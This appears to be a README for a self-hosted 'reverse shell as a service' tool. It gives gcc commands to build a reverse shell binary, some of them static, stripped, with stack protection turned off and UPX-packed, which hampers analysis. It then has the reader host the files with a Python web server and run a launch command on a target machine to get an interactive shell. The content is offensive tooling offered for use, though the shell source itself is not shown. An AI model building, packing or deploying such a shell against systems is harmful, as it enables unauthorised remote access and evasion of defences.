Self-hosted reverse shell as a service.
![Screenshot 2024-10-25 at 04 57 59](https://private-user-images.githubusercontent.com/17045050/379934506-4dbc4fc9-0610-4b2d-954c-7aa3a9281972.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzkwNDI4NDUsIm5iZiI6MTczOTA0MjU0NSwicGF0aCI6Ii8xNzA0NTA1MC8zNzk5MzQ1MDYtNGRiYzRmYzktMDYxMC00YjJkLTk1NGMtN2FhM2E5MjgxOTcyLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNTAyMDglMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjUwMjA4VDE5MjIyNVomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTFiZjQ3NTM0MDYyZDczMDQxOWRkMGViYWFhOWE5MTNmMDY3OTA2NjY5M2UxYzVhZDM2ZjU0ZGRjNDM0M2MzMjQmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0In0.a571BB7Og11U64dgiJ99rb4iiIh3UkZoaxStoZNvvrU)
Compile the reverse shell:
# Bad idea
gcc -o reverse reverse.c
# Good idea
gcc -static -O3 -o reverse reverse.c
# Complex idea
gcc -static -O3 -s -fno-stack-protector -fomit-frame-pointer -mpreferred-stack-boundary=2 -z norelro -fno-exceptions -fno-asynchronous-unwind-tables -o reverse reverse.c
strip -s reverse
upx --best --ultra-brute reverse
Host this directory with a web server:
python3 -m http.server
- Open
index.html
in a browser - Run the command from the "Wait For Reverse Shell" section on your host
- Run the command from the "Launch Reverse Shell" section on the target machine
- Enjoy your TTY shell